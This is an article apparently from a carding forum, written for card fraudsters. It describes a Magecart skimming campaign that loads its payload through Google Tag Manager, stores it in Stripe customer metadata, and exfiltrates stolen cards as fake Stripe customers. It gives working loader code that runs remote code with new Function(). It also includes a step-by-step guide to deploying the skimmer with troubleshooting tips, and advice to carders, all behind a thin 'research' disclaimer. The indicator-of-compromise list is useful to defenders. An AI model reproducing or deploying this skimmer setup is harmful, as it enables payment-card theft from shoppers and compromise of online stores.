Skimming via Google Tag Manager and Stripe: The Next Generation Magecart

[Good Carder]

From carder to carders. You can have perfect anti-detect, a clean proxy, and fresh non-3DS cards. But if you're hit into a site that's already compromised by a Magecart skimmer, your card is gone to the carder before you can even click "Pay." This isn't theory — it's the biggest evolution in skimming in recent years. You're not using a skimmer — you're exploiting the fact that the site is already infected.

In this article, I'll explore how modern Magecart carders leverage Google Tag Manager and Stripe to create a virtually invisible card theft infrastructure. You'll learn the technical architecture of the attack, why traditional detection methods are powerless against it, how Stripe is being transformed into a full-fledged malware command-and-control server, and you'll also receive step-by-step instructions for deploying a skimmer through GTM for research purposes.

Part 1: Why the Next-Gen Magecart Is a Game Changer​

In 2026, Sansec researchers discovered the Magecart campaign, which radically changed the rules of the web skimming game. Instead of using suspicious domains or obvious attacker-controlled infrastructure, carders utilize legitimate services trusted by virtually all online stores.

The key advantage of this attack: the skimmer is never loaded from a domain controlled by the attacker. The loader, payload, and stolen cards all travel through two domains trusted by stores by default: googletagmanager.com and api.stripe.com.

2026 Statistics: This campaign has been active since at least December 2025, confirming its persistence and scale. Unlike classic skimmers, which use suspicious domains and are quickly blocked, this attack remains undetected for months.

1.1 Why traditional methods of protection are powerless​

Content Security Policy (CSP) and network filters typically block traffic to unknown skimmer domains. But in this attack, all traffic goes through api.stripe.com — a domain that stores allow by default. The CSP doesn't block Stripe because Stripe is a legitimate payment processor.

What this means for you is that you can hit card on a perfectly secure website from the CSP's perspective, but if the website has a GTM container with a skimmer, your card is sent to the carder before the payment gateway processes it.

Part 2. Attack Architecture: Three Stages of Theft​

The attack is divided into three distinct stages, each of which utilizes legitimate cloud services.

2.1. Stage 1: Code Delivery via GTM​

It all starts with a legitimate Google Tag Manager container being injected into the website. The carder creates a custom tag in GTM that appears to be a regular analytics script but actually loads a skimmer.

The real GTM container, GTM-P6KZMF63, was identified by researchers as part of this campaign. This container is triggered on every page but only activates the skimmer when a checkout page is detected.

A technical detail: the loader checks the URL for the word "checkout" before activating the skimmer. This minimizes the risk of detection, as the skimmer is not active on regular pages.

2.2. Step 2: Downloading the Skimmer from Stripe Metadata​

When the loader encounters a checkout page, it sends a request to the Stripe API to retrieve a specific customer object: cus_TfFjAAZQNOYENR.

Here's how it works technically:

// Loader on the checkout page
if (location.href.indexOf("checkout") !== -1) {
setTimeout(function () {
getMetaString().then(function (code) {
if (code) new Function(code)(); // executes the skimmer
});
}, 2000);
}

// Function to retrieve the skimmer from Stripe metadata
function getMetaString() {
return fetch("https://api.stripe.com/v1/customers/cus_TfFjAAZQNOYENR", {
headers: { Authorization: "Bearer sk_test_51Shuxz4fAPbvfTkr[...]" }
})
.then(function (r) { return r.json(); })
.then(function (r) {
return Object.keys(r.metadata).map(function (k) {
return r.metadata[k];
}).join("");
});
}

The skimmer is too long for a single metadata field, so the carder splits it into fragments stored in the meta0, meta1, meta2, and other fields. The loader assembles them and executes them via new Function() — this is fully functional remote code execution (RCE).

The key advantage for the carder is that by editing Stripe metadata, they can update the skimmer at any time without affecting the GTM tag or the infected store.

2.3. Step 3: Data Collection and Exfiltration​

Once loaded, the skimmer connects to the checkout button. When the customer clicks "Pay," the skimmer intercepts:

• Card number
• Validity period
• CVV code
• Holder's name
• Billing address
• Email and phone

Stealth technique:

1. The data is XOR-encrypted and temporarily stored in localStorage.
2. A separate timer starts 1 second after the page loads, and then every 60 seconds.
3. The timer checks localStorage, splits the data into two parts, and creates a new Stripe customer object, writing the stolen data to its metadata.
4. After a successful download, local data is deleted.

Bottom line: each stolen card becomes a fake customer object in the carder's Stripe account. The carder can retrieve all stolen cards by simply requesting the customer list in their Stripe account.

Part 3. Google Firestore Option​

Researchers also discovered a variant of this attack that uses Google Firestore instead of Stripe.

Here's how it works:

• The payload is stored in a Firestore document named tracking/captcha.
• The project is called braintree-payment-app — a name chosen to masquerade as legitimate payment traffic.
• The stolen data is stored in localStorage under the d_data_customer key.
• The exfiltration principle is the same, but via Firestore instead of Stripe.

This scenario shows that carders are diversifying their infrastructure by using multiple cloud services for different stages of the attack.

Part 4. Step-by-step instructions for implementing a skimmer via GTM (for research purposes)​

This section is intended for security researchers and penetration testers conducting sanctioned tests. Using this knowledge to attack real websites is a criminal offense.

4.1. Infrastructure preparation​

Step 1: Create a Stripe account

1. Register a test Stripe account.
2. Get a test API key (sk_test_...). Use only test keys for research purposes.
3. Create a customer object in test mode. Remember its ID.

Step 2: Prepare the Skimmer
Break your skimmer code into pieces that will fit into the Stripe metadata field (maximum 500 characters per field):

// Example of skimmer chunking
const skimmerChunks = {
meta0: "var a0_0xa01889=...",
meta1: "function captureCard() {...}",
meta2: "function exfiltrate() {...}"
};

Update the customer object by writing fragments to the metadata fields meta0, meta1, meta2, and so on.

Step 3. Create a GTM container

1. Create an account in Google Tag Manager.
2. Create a new container for the test site.
3. Add a custom HTML tag with the following code:

<script>
(function() {
// Check if we are on the checkout page
if (window.location.href.indexOf('checkout') === -1) return;

// Delay to simulate legitimate behavior
setTimeout(function() {
// Load skimmer from Stripe metadata
fetch('https://api.stripe.com/v1/customers/YOUR_TEST_CUSTOMER_ID', {
headers: {
'Authorization': 'Bearer sk_test_YOUR_TEST_KEY'
}
})
.then(function(response) { return response.json(); })
.then(function(data) {
// Assemble code from metadata fields
var code = '';
for (var key in data.metadata) {
if (key.indexOf('meta') === 0) {
code += data.metadata[key];
}
}
if (code) {
// Execute skimmer
new Function(code)();
}
});
}, 2000);
})();
</script>

4.2. Testing in an isolated environment​

Step 4: Setting up a test site

1. Deploy a local or isolated test site (for example, on localhost).
2. Integrate Stripe Elements for test payments.
3. Install GTM code on the test site.

Step 5. Checking the work

1. Go to the test site's checkout page.
2. Open the developer console (F12) and the Network tab.
3. Make sure the uploader is sending a request to the Stripe API.
4. Check that the skimmer is running.
5. Make sure that test card data (use Stripe test cards) is captured and stored.

4.3. Common Errors and How to Fix Them​

Issue 1. Using live API keys instead of test keys
Symptom: Stripe account gets suspended, transactions are rejected.
Fix: Always use test keys (sk_test_...) for research purposes. Never use live keys (sk_live_...) without the owner's written permission.

Issue 2. Skimmer doesn't load due to CORS
Symptom: The console shows the error CORS policy: No 'Access-Control-Allow-Origin'.
Fix: Stripe API supports CORS by default for client requests. If this error occurs, check that the API key and customer ID are correct.

Issue 3. Metadata fields are not saved
Symptom: The Customer object is updated, but the metadata fields are empty.
Fix: In Stripe, metadata fields can only store strings. Make sure you are passing string values. Use Stripe Dashboard to check the saved data.

Error 4. The GTM tag doesn't work on the checkout page.
Symptom: The skimmer doesn't load even though the GTM code is installed.
Fix: Make sure the GTM container is published (not in draft mode). Verify that the window.location.href.indexOf('checkout') !== -1 condition correctly defines the checkout page.

Error 5. The skimmer executes, but data isn't saved.
Symptom: The skimmer intercepts data, but it doesn't appear in Stripe customer objects.
Fix: Verify that the exfiltration function is correctly forming a request to the Stripe API. Make sure you are using the correct API key to create customer objects.

Part 5: Why This Attack Changes the Game for Carders​

5.1 For the attacker: zero-cost infrastructure​

Stripe and GTM are free services for basic use. A carder can create a Stripe account with minimal data (often using Stripe's test templates, as in this campaign — the customer object was created on December 24, 2025, using a standard Stripe template) and launch an attack without any infrastructure costs.

The attacker doesn't own a single server; all infrastructure is provided by free cloud services.

5.2. For the carder: risk of hit data on compromised sites​

If you hit card on a website infected with such a skimmer, your card is sent to the carder in real time. You won't even see the rejection — the payment may go through, but your card is already compromised.

How to protect yourself (as a carder):

• Do not use Magento/Adobe Commerce stores for hit without prior verification.
• Use disposable VCCs for test purchases.
• If a site uses GTM, it does not mean that it is infected, but it is an additional risk factor.

Chapter 6. Technical Indicators of Compromise (IoC)​

6.1. Campaign-Related GTM Containers​

Identifier	Description
GTM-P6KZMF63	The main GTM container used in the attack
GTM-WJ6S9J6	Another identified malicious container

6.2. Stripe customer ID​

Identifier	Description
cus_TfFjAAZQNOYENR	Customer object containing the skimmer in metadata

6.3. Firestore identifier​

Identifier	Description
tracking/captcha	Firestore document with payload
braintree-payment-app	Firestore project

Summary​

The next-generation Magecart isn't just a skimmer. It's a fully-fledged data theft platform built on legitimate cloud services. GTM delivers the downloader, while Stripe stores the skimmer and the stolen cards. The entire infrastructure requires no servers or suspicious domains from the carder.

Three key takeaways for carders:

1. Traditional security is powerless against this attack. CSPs and network filters allow traffic to api.stripe.com and googletagmanager.com because these domains are trusted by default.
2. Stripe has become a free criminal infrastructure. Carders can create accounts, store skimmers in metadata, and exfiltrate stolen cards as fake customer objects.
3. This attack has been active since at least December 2025 and continues to evolve, including variants targeting Google Firestore.

In 2026–2027, a successful carder isn't the one with the best skimmer, but the one who best disguises himself as legitimate traffic. The next-generation Magecart leverages the trust that merchants place in Stripe and Google. They don't hack a website — they exploit a website that already uses these services.

A quick one-line reminder:
"GTM delivers the downloader, Stripe stores the skimmer in metadata, the timer fetches cards from localStorage and creates fake customers. No suspicious domains. No servers. Only free cloud services that are trusted by default. CSPs don't block Stripe. Traditional scanners can't see the code in Stripe metadata. Magecart 2.0 isn't just skimming; it's zero-cost infrastructure."